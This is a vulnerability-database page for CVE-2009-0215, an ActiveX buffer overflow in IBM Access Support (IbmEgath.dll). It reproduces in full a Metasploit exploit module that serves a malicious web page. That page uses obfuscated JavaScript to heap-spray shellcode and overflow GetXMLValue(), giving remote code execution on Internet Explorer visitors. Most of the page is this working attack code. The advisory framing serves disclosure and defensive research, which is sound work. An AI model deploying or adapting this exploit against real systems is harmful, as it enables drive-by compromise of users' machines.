IBM Access Support ActiveX Control Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

IBM Access Support ActiveX Control Buffer Overflow when sending an overly long string to the GetXMLValue() method of IbmEgath.dll (3.20.284.0) may allow arbitrary code execution


                                                ##
# $Id: ibmegath_getxmlvalue.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;IBM Access Support ActiveX Control Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in IBM Access Support. When
				sending an overly long string to the GetXMLValue() method of IbmEgath.dll
				(3.20.284.0) an attacker may be able to execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10998 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2009-0215&#39; ],
					[ &#39;OSVDB&#39;, &#39;52958&#39; ],
					[ &#39;BID&#39;, &#39;34228&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7&#39;, { &#39;Ret&#39; =&#62; &#39;&#39; } ]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Mar 24 2009&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, &#34;or cl,[edx]&#34;).encode_string * 2)

		fill = rand_text_english(rand(12) + 1)

		js = %Q|
			try {
				var evil_string = &#34;&#34;;
				var index;
				var sumthang;
				var vulnerable = new ActiveXObject(&#39;IbmEgath.IbmEgathCtl.1&#39;);
				var my_unescape = unescape;
				var shellcode = &#39;#{shellcode}&#39;;
				#{js_heap_spray}
				sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
				for (index = 0; index &#60; 4024; index++) {
					evil_string = evil_string + my_unescape(&#39;#{ret}&#39;);
				}
				vulnerable.RunEgatherer(&#39;#{fill}&#39;);
				var sumthang = vulnerable.GetXMLValue(&#39;#{fill}.xml&#39;, evil_string);
			} catch( e ) { window.location = &#39;about:blank&#39; ; }
		|

		opts = {
			&#39;Strings&#39; =&#62; true,
			&#39;Symbols&#39; =&#62; {
				&#39;Variables&#39; =&#62; [
					&#39;vulnerable&#39;,
					&#39;shellcode&#39;,
					&#39;my_unescape&#39;,
					&#39;index&#39;,
					&#39;evil_string&#39;,
					&#39;sumthang&#39;,
				]
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		js.update_opts(js_heap_spray.opts)
		js.obfuscate()
		content = %Q|&#60;html&#62;
&#60;body&#62;
&#60;script&#62;&#60;!--
#{js}
//&#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;
|

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7